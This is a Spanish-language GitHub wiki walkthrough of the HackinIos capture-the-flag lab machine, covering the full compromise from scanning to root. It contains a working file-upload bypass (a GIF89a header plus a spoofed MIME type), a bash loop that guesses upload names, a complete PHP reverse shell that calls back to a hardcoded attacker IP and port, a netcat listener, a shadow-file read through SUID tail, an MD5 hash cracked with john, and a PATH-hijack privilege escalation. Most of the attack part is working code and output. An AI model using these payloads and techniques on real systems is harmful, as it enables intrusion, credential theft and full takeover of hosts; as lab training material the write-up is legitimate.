HackinIos - danielcastropalomares/security GitHub Wiki

root@kali:~# nmap -p- 172.31.255.112
Starting Nmap 7.70SVN ( https://nmap.org ) at 2019-03-12 21:41 CET
Nmap scan report for 172.31.255.112
Host is up (0.00010s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
8000/tcp open  http-alt
MAC Address: 08:00:27:20:A9:BC (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 4.65 seconds


root@kali:~# nmap -A 172.31.255.112
Starting Nmap 7.70SVN ( https://nmap.org ) at 2019-03-12 21:41 CET
Nmap scan report for 172.31.255.112
Host is up (0.00056s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
8000/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-generator: WordPress 5.0.3
|_http-open-proxy: Proxy might be redirecting requests
| http-robots.txt: 2 disallowed entries 
|_/upload.php /uploads
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Blog – Just another WordPress site
MAC Address: 08:00:27:20:A9:BC (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.56 ms 172.31.255.112

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.68 seconds

Con nmap encontramos upload.php, tambien con nikto:

^Croot@kali:~# nikto -C all --host 172.31.255.112:8000
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          172.31.255.112
+ Target Hostname:    172.31.255.112
+ Target Port:        8000
+ Start Time:         2019-03-12 21:47:08 (GMT1)
---------------------------------------------------------------------------
+ Server: Apache/2.4.25 (Debian)
+ Retrieved x-powered-by header: PHP/7.2.15
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Root page / redirects to: http://172.31.255.112:8000/
+ Server leaks inodes via ETags, header found with file /robots.txt, fields: 0x34 0x582a7b178d36c 
+ Entry '/upload.php' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 2 entries which should be manually viewed.
+ Uncommon header 'link' found, with contents: <http://localhost:8000/index.php?rest_route=/>; rel="https://api.w.org/"
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /wp-content/plugins/hello.php: PHP error reveals file system path.                                                                                       
+ OSVDB-62684: /wp-content/plugins/hello.php: The WordPress hello.php plugin reveals a file system path                                                    
+ /wp-links-opml.php: This WordPress script reveals the installed version.                                                                                 
+ OSVDB-3092: /license.txt: License file found may identify site software.
+ Cookie wordpress_test_cookie created without the httponly flag
+ /wp-login.php: Wordpress login found
+ 26169 requests: 0 error(s) and 16 item(s) reported on remote host
+ End Time:           2019-03-12 21:47:56 (GMT1) (48 seconds)

Dentro del robots.txt:

curl http://172.31.255.112:8000/robots.txt
User-agent:*                           
Disallow:/upload.php                   
Disallow:/uploads

Si accedemos via web:

root@kali:/usr/local/src/Osmedeus# curl http://172.31.255.112:8000/upload.php
<!DOCTYPE html>
<html>

<body>

<div align="center">
<form action="" method="post" enctype="multipart/form-data">
    <br>
    <b>Select image : </b> 
    <input type="file" name="file" id="file" style="border: solid;">
    <input type="submit" value="Submit" name="submit">
</form>
</div>

<!-- https://github.com/fatihhcelik/Vulnerable-Machine---Hint -->
</body>
</html>

La url del github nos lleva hacia el codigo fuente del upload.php:

$ curl https://raw.githubusercontent.com/fatihhcelik/Vulnerable-Machine---Hint/master/upload.php
<!DOCTYPE html>
<html>

<body>

<div align="center">
<form action="" method="post" enctype="multipart/form-data">
    <br>
    <b>Select image : </b> 
    <input type="file" name="file" id="file" style="border: solid;">
    <input type="submit" value="Submit" name="submit">
</form>
</div>
<?php

// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
	$rand_number = rand(1,100);
	$target_dir = "uploads/";
	$target_file = $target_dir . md5(basename($_FILES["file"]["name"].$rand_number));
	$file_name = $target_dir . basename($_FILES["file"]["name"]);
	$uploadOk = 1;
	$imageFileType = strtolower(pathinfo($file_name,PATHINFO_EXTENSION));
	$type = $_FILES["file"]["type"];
	$check = getimagesize($_FILES["file"]["tmp_name"]);

	if($check["mime"] == "image/png" || $check["mime"] == "image/gif"){
	        $uploadOk = 1;
	}else{
	        $uploadOk = 0;
	        echo ":)";
	} 
  if($uploadOk == 1){
      move_uploaded_file($_FILES["file"]["tmp_name"], $target_file.".".$imageFileType);
      echo "File uploaded /uploads/?";
  }
}
?>

</body>
</html>

Tenemos el codigo fuente asi que vamos a probar con un docker como se comporta:

root@dcastro-MacBookPro:~/docker# cat Dockerfile 
FROM debian:9
RUN apt-get update && apt-get -y install apache2 php
RUN chown www-data:www-data -R /var/www/html/
RUN mkdir /var/www/html/uploads
EXPOSE 80:80
ADD https://raw.githubusercontent.com/fatihhcelik/Vulnerable-Machine---Hint/master/upload.php /var/www/html/
CMD ["bash"]

Creamos la imagen:

docker build -t hackinios .

Ejecutamos la imagen:

docker run -itd --name hackinios --hostname hackinios hackinios

Nos conectamos al container y levantamos el apache:

root@dcastro-MacBookPro:~/docker# docker exec -it hackinios bash
WARNING: Error loading config file: /root/.docker/config.json: read /root/.docker/config.json: is a directory
root@hackinios:/# 
root@hackinios:/# /etc/init.d/apache2 start

Ahora ya podemos probar de subir un archivo:

http://172.17.0.2/upload.php

Veremos aparacer el archivo en cuestion en el docker:

root@hackinios:/var/www/html/uploads# ls
e1bcd3d4f779348f54702c4e20c400af.png

Vamos a añadir una nueva variable para mostrarnos mas información:

    $file_name2 =  basename($_FILES["file"]["name"].$rand_number);
echo "$file_name2 <br>";
echo "$target_file <br>";

Ahora si subimos via web un archivo png:

dc.png75 
uploads/fcd304d29671304c42d5409b70891a6a 

Que equivale al mismo comando por bash:

 echo -n dc.png75   | md5sum | awk {'print $1'}
fcd304d29671304c42d5409b70891a6a

Subimos la shell, y con la modificación que hemos hecho nos indicara la ruta del archivo:

photo.php64 
uploads/bffd99f6b37c82a2382d419fa36e5f08 
File uploaded /uploads/?
[FOTO]

Accedemos al archivo:

http://172.17.0.2/uploads/bffd99f6b37c82a2382d419fa36e5f08.php?cmd=cat+/etc/passwd

En el burpsuite interceptamos la petición y modificamos el type por image/png.

FOTO

Ahora ejecutamos el siguiente script:

root@kali:/tmp# cat bucle.sh 
#!/bin/bash
for i in {1..100}; do
	FILE=`echo -n back.php$i | md5sum | awk {'print $1'}`
	echo "$i"
	echo "$FILE"
	echo "http://172.31.255.112:8000/uploads/$FILE.php"
	#curl --output - http://172.31.255.112:8000/uploads/$FILE.php?cmd=cat+/etc/passwd
	curl -I http://172.31.255.112:8000/uploads/$FILE.php
	echo "------------------------------------"
done

Lo ejecutamos y el resultado lo enviamos a un fichero, dentro de este fichero buscamos el state200:

OK

95
81d82e6217994cf79f59ca9befe989a0
http://172.31.255.112:8000/uploads/81d82e6217994cf79f59ca9befe989a0.php
HTTP/1.1 200 OK
Date: Thu, 14 Mar 2019 21:38:22 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/7.2.15
Content-Type: text/html; charset=UTF-8

------------------------------------

http://172.31.255.112:8000/uploads/81d82e6217994cf79f59ca9befe989a0.php?cmd=ls%20-liath

 26280 drwxr-xr-x 2 www-data www-data 4.0K Mar 14 21:38 .
  1776 -rw-r--r-- 1 www-data www-data  277 Mar 14 21:38 81d82e6217994cf79f59ca9befe989a0.php
  2352 -rw-r--r-- 1 www-data www-data 1.1M Mar 14 20:15 7972ef5808a097e78636aa4d9fbdbcd5.png
  1778 -rw-r--r-- 1 www-data www-data 1.1M Mar 14 19:49 b2bd67014831775a508edddf595d22e3.png
  1777 -rw-r--r-- 1 www-data www-data  30K Mar 14 19:40 a97124a3920dbe7401e125c36292f794.png
178935 drwxr-xr-x 6 www-data www-data 4.0K Mar 14 18:14 ..
 26125 -rw-r--r-- 1 www-data www-data  30K Mar 12 21:10 70b6f4ccb51b2797fbc036fa50adcbf1.png
 26089 -rw-r--r-- 1 www-data www-data  30K Mar 12 21:04 a339ee1ff76b5e3e89089fc15294288b.png
 23232 -rw-r--r-- 1 www-data www-data 1.3K Mar 12 21:03 16a94d7bdc9619fe97531ed8f99e7d5e.png

Por lo que vemos en el resultado del ls, solo vemos los fichero acabados en png, los php parece que se eliminan cada X tiempo.

Probamos a subir una shell a la maquina victima, primeramente ponemos a escuchar un servdidor de netcat por el puerto 8085:

nc -vlp 8085

En el fichero php añadimos el GIF89a delante, cuando subamos con burp suite modificimos el mime del archivo por "image/png"

cat back2.php   
GIF89a;
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 [email protected]
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at [email protected]
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '172.31.255.129';  // CHANGE THIS
$port = 8085;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();

	if ($pid == -1) {
	        printit("ERROR: Can't fork");
	        exit(1);
	}

	if ($pid) {
	        exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
	        printit("Error: Can't setsid()");
	        exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
	        printit("ERROR: Shell connection terminated");
	        break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
	        printit("ERROR: Shell process terminated");
	        break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
	        if ($debug) printit("SOCK READ");
	        $input = fread($sock, $chunk_size);
	        if ($debug) printit("SOCK: $input");
	        fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
	        if ($debug) printit("STDOUT READ");
	        $input = fread($pipes[1], $chunk_size);
	        if ($debug) printit("STDOUT: $input");
	        fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
	        if ($debug) printit("STDERR READ");
	        $input = fread($pipes[2], $chunk_size);
	        if ($debug) printit("STDERR: $input");
	        fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
	        print "$string\n";
	}
}

?> 

Ahora ejecutamos nuestro script:

cat bucle.sh 
#!/bin/bash
for i in {1..100}; do
	FILE=`echo -n back2.php$i | md5sum | awk {'print $1'}`
	echo "$i"
	echo "$FILE"
	echo "http://172.31.255.112:8000/uploads/$FILE.php"
	curl -I http://172.31.255.112:8000/uploads/$FILE.php
	echo "------------------------------------"
done
./bucle.sh 

Y vemos que en la sesion de netcat que teniamos abierta aparece la shell:

root@kali:~# nc -vlp 8085
listening on [any] 8085 ...
connect to [172.31.255.129] from localhost [172.31.255.112] 33786
Linux 1afdd1f6b82c 4.15.0-46-generic #49~16.04.1-Ubuntu SMP Tue Feb 12 17:45:24 UTC 2019 x86_64 GNU/Linux
 10:50:16 up 16 min,  0 users,  load average: 0.16, 0.06, 0.08
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ 

La URL en concreto es la siguiente:

44
bd70044f5d301a901b38032d168f65fe
http://172.31.255.112:8000/uploads/bd70044f5d301a901b38032d168f65fe.php

Examinando los procesos que se estan ejecutanos encontramos un script que elimina los archivos php:

$ ps aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  2.7 388000 27072 ?        Ss   10:33   0:00 apache2 -DFOREGROUND
root        77  0.0  0.2  17964  2816 ?        Ss   10:33   0:00 /bin/bash /etc/init.d/delete.sh
www-data    94  0.0  1.6 388472 16524 ?        S    10:33   0:00 apache2 -DFOREGROUND
www-data    95  0.0  3.2 464988 32364 ?        S    10:33   0:00 apache2 -DFOREGROUND
www-data    96  0.0  3.5 464996 35408 ?        S    10:33   0:00 apache2 -DFOREGROUND
www-data    97  0.0  1.7 388276 17180 ?        S    10:33   0:00 apache2 -DFOREGROUND
www-data    98  0.0  1.8 388472 17996 ?        S    10:33   0:00 apache2 -DFOREGROUND
www-data   107  0.0  1.6 388472 15920 ?        S    10:48   0:00 apache2 -DFOREGROUND
www-data   108  0.0  0.0   4292   760 ?        S    10:50   0:00 sh -c uname -a; w; id; /bin/sh -i
www-data   112  0.0  0.0   4292   788 ?        S    10:50   0:00 /bin/sh -i
root       121  0.0  0.0   4200   708 ?        S    10:58   0:00 sleep 300
www-data   122  0.0  0.2  36640  2788 ?        R    10:59   0:00 ps aux


$ cat /etc/init.d/delete.sh
#!/bin/bash

while [ 1 ]
do
    rm -rf /var/www/html/uploads/*.php
    sleep 300
done

Si hechamos un vistazo los archivos ya subidos, nos encontramos que el archivo php ya ha sido eliminado. Pero el proceso de la reserve shell ha quedado ejecutandose en memoria, por ese motivo seguimos conectados:

 ls /var/www/html/uploads
16a94d7bdc9619fe97531ed8f99e7d5e.png
70b6f4ccb51b2797fbc036fa50adcbf1.png
7972ef5808a097e78636aa4d9fbdbcd5.png
86799f84056fa88c1d2b3347c294c9fd.php
a339ee1ff76b5e3e89089fc15294288b.png
a97124a3920dbe7401e125c36292f794.png
b2bd67014831775a508edddf595d22e3.png

A nivel de red paraque estamos dentro de un docker, ya que la IP que nos aparece coincide con el rango por defecto:

www-data@1afdd1f6b82c:/var/www/html$ ifconfig
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
	inet 172.18.0.2  netmask 255.255.0.0  broadcast 172.18.255.255
	ether 02:42:ac:12:00:02  txqueuelen 0  (Ethernet)
	RX packets 4069  bytes 400904 (391.5 KiB)
	RX errors 0  dropped 0  overruns 0  frame 0
	TX packets 3173  bytes 285214 (278.5 KiB)
	TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
	inet 127.0.0.1  netmask 255.0.0.0
	loop  txqueuelen 1000  (Local Loopback)
	RX packets 18  bytes 930 (930.0 B)
	RX errors 0  dropped 0  overruns 0  frame 0
	TX packets 18  bytes 930 (930.0 B)
	TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

www-data@1afdd1f6b82c:/$ ls -liath                      
ls -liath                                               
total 92K                                               
178848 drwxrwxrwt   1 root root 4.0K Mar 17 19:52 tmp   
     2 drwxr-xr-x   5 root root  340 Mar 17 10:33 dev   
     1 dr-xr-xr-x  13 root root    0 Mar 17 10:33 sys   
     1 dr-xr-xr-x 135 root root    0 Mar 17 10:33 proc  
173060 drwx------   1 root root 4.0K Mar  1 18:35 root  
444593 drwxr-xr-x   1 root root 4.0K Feb 28 16:46 bin   
178927 drwxr-xr-x   1 root root 4.0K Feb 27 22:27 etc   
444850 drwxr-xr-x   1 root root 4.0K Feb 27 21:59 sbin  
178923 drwxr-xr-x   1 root root 4.0K Feb 23 15:12 .     
178923 drwxr-xr-x   1 root root 4.0K Feb 23 15:12 ..    
173727 -rwxr-xr-x   1 root root    0 Feb 23 15:12 .dockerenv

Tampoco vemos el SSH que si que aparece en el nmap:

www-data@1afdd1f6b82c:/var/www/html$ netstat -nltp
netstat -nltp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.11:41589        0.0.0.0:*               LISTEN      -                   

A nivel de arp vemos mas containers dentro de esa red, en concreto 2 mas a parte del default gateway:

www-data@1afdd1f6b82c:/var/www/html$ arp -an
arp -an
? (172.18.0.3) at 02:42:ac:12:00:03 [ether] on eth0
? (172.18.0.1) at 02:42:7f:62:28:ba [ether] on eth0
? (172.18.0.4) at 02:42:ac:12:00:04 [ether] on eth0

Buscamos archivos con el suid modificado:

www-data@1afdd1f6b82c:/$ find / -perm -u=s -type f 2>/dev/null

find / -perm -u=s -type f 2>/dev/null

/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/tail
/usr/bin/chfn
/bin/mount
/bin/umount
/bin/su

www-data@1afdd1f6b82c:/$ ls -liath /usr/bin/tail
ls -liath /usr/bin/tail
170237 -rwsr-xr-x 1 root root 67K Feb 22  2017 /usr/bin/tail

Probamos con el shadow:

tail -n 100 /etc/shadow
tail -n 100 /etc/shadow
root:$6$qoj6/JJi$FQe/BZlfZV9VX8m0i25Suih5vi1S//OVNpd.PvEVYcL1bWSrF3XTVTF91n60yUuUMUcP65EgT8HfjLyjGHova/:17951:0:99999:7:::
daemon:*:17931:0:99999:7:::
bin:*:17931:0:99999:7:::
sys:*:17931:0:99999:7:::
sync:*:17931:0:99999:7:::
games:*:17931:0:99999:7:::
man:*:17931:0:99999:7:::
lp:*:17931:0:99999:7:::
mail:*:17931:0:99999:7:::
news:*:17931:0:99999:7:::
uucp:*:17931:0:99999:7:::
proxy:*:17931:0:99999:7:::
www-data:*:17931:0:99999:7:::
backup:*:17931:0:99999:7:::
list:*:17931:0:99999:7:::
irc:*:17931:0:99999:7:::
gnats:*:17931:0:99999:7:::
nobody:*:17931:0:99999:7:::
_apt:*:17931:0:99999:7:::

La BDD se encuentra en otro container en concreto con la IP 172.18.0.3:

$ cat wp-config.php | grep DB
define('DB_NAME', 'wordpress');
define('DB_USER', 'wordpress');
define('DB_PASSWORD', 'wordpress');
define('DB_HOST', 'db:3306');
define('DB_CHARSET', 'utf8');
define('DB_COLLATE', '');


$ ping db
PING db (172.18.0.3) 56(84) bytes of data.
64 bytes from experimental_db_1.experimental_default (172.18.0.3): icmp_seq=1 ttl=64 time=0.062 ms

El puerto de mysql se encuentra abierto:

www-data@1afdd1f6b82c:/$ nc db 3306
nc db 3306
J
5.7.2h)
6
?\U���n7zoKqDl]l`mysql_native_password

Abrimos una shell con python y nos conectamos a la bdd remota:

python -c 'import pty;pty.spawn("/bin/bash")'
www-data@1afdd1f6b82c:/$ mysql -h db -u wordpress -p wordpress
mysql -h db -u wordpress -p wordpress
Enter password: wordpress

Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 17
Server version: 5.7.25 MySQL Community Server (GPL)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [wordpress]> 

Dentro de la BDD de wordpress encontramos una tabla con las credenciales de SSH:

MySQL [wordpress]> show tables;
show tables;
+-----------------------+
| Tables_in_wordpress   |
+-----------------------+
| host_ssh_cred         |
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_termmeta           |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
+-----------------------+
13 rows in set (0.00 sec)

MySQL [wordpress]> select * from host_ssh_cred;
select * from host_ssh_cred;
+-------------------+----------------------------------+
| id                | pw                               |
+-------------------+----------------------------------+
| hummingbirdscyber | e10adc3949ba59abbe56e057f20f883e |
+-------------------+----------------------------------+
1 row in set (0.02 sec)

El password que hemos encontrado parece que es un hash md5:

root@kali:/tmp# hashid e10adc3949ba59abbe56e057f20f883e
Analyzing 'e10adc3949ba59abbe56e057f20f883e'
[+] MD2 
[+] MD5 
[+] MD4 
[+] Double MD5 
[+] LM 
[+] RIPEMD-128 

Utilizamos john ripper para descifrar el hash:

root@kali:/tmp# echo e10adc3949ba59abbe56e057f20f883e > hash.txt
root@kali:/tmp# john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
123456           (?)
1g 0:00:00:00 DONE (2019-03-17 23:12) 100.0g/s 1200p/s 1200c/s 1200C/s 123456..daniel
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Ya tenemos acceso con el usuario hummingbirdscyber:

root@kali:/tmp# ssh [email protected]
[email protected]'s password: 
Welcome to Ubuntu 16.04.5 LTS (GNU/Linux 4.15.0-46-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

104 packages can be updated.
0 updates are security updates.

Last login: Fri Mar  1 23:58:08 2019 from 192.168.1.31
hummingbirdscyber@vulnvm:~$ 

No tenemos permisos de sudo:

hummingbirdscyber@vulnvm:~$ sudo -l
[sudo] password for hummingbirdscyber: 
Sorry, user hummingbirdscyber may not run sudo on vulnvm.

Buscamos ficheros con permisos SUID:

hummingbirdscyber@vulnvm:~$ find / -perm -u=s -type f 2>/dev/null
/home/hummingbirdscyber/Desktop/a.out
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/x86_64-linux-gnu/oxide-qt/chrome-sandbox
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/xorg/Xorg.wrap
/usr/sbin/pppd
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/pkexec
/bin/mount
/bin/ping6
/bin/ntfs-3g
/bin/umount
/bin/su
/bin/fusermount
/bin/ping

Encontramos el siguiente fichero a.out:

hummingbirdscyber@vulnvm:~$ ls -liath /home/hummingbirdscyber/Desktop/a.out
543355 -rwsr-xr-x 1 root root 8,6K Mar  1 23:25 /home/hummingbirdscyber/Desktop/a.out

Si analizamos el contenido del fichero vemos que ejecuta el comando whoami y sin el path absoluto:

hummingbirdscyber@vulnvm:~$ strings /home/hummingbirdscyber/Desktop/a.out
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
system
setgid
__libc_start_main
__gmon_start__
GLIBC_2.2.5
UH-H
AWAVA
AUATL
[]A\A]A^A_
whoami
;*3$"
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.10) 5.4.0 20160609

Vamos a modificar el path de busqueda para que ejecute el binario /bin/bash como root:

cd Desktop/
ln -s /bin/bash whoami

Canviamos el path:

 export PATH="/home/hummingbirdscyber/Desktop"

Ejecutamos el script:

hummingbirdscyber@vulnvm:~/Desktop$ ./a.out 
Command 'lesspipe' is available in the following places
 * /bin/lesspipe
 * /usr/bin/lesspipe
The command could not be located because '/bin:/usr/bin' is not included in the PATH environment variable.
lesspipe: command not found
Command 'dircolors' is available in '/usr/bin/dircolors'
The command could not be located because '/usr/bin' is not included in the PATH environment variable.
dircolors: command not found
Command 'ls' is available in '/bin/ls'
The command could not be located because '/bin' is not included in the PATH environment variable.
ls: command not found
root@vulnvm:~/Desktop#

Volvemos a modificar el PATH de busqueda

root@vulnvm:~/Desktop# export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin"

root@vulnvm:~/Desktop# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),46(plugdev),113(lpadmin),128(sambashare),129(docker),1000(hummingbirdscyber)
⚠️ **GitHub.com Fallback** ⚠️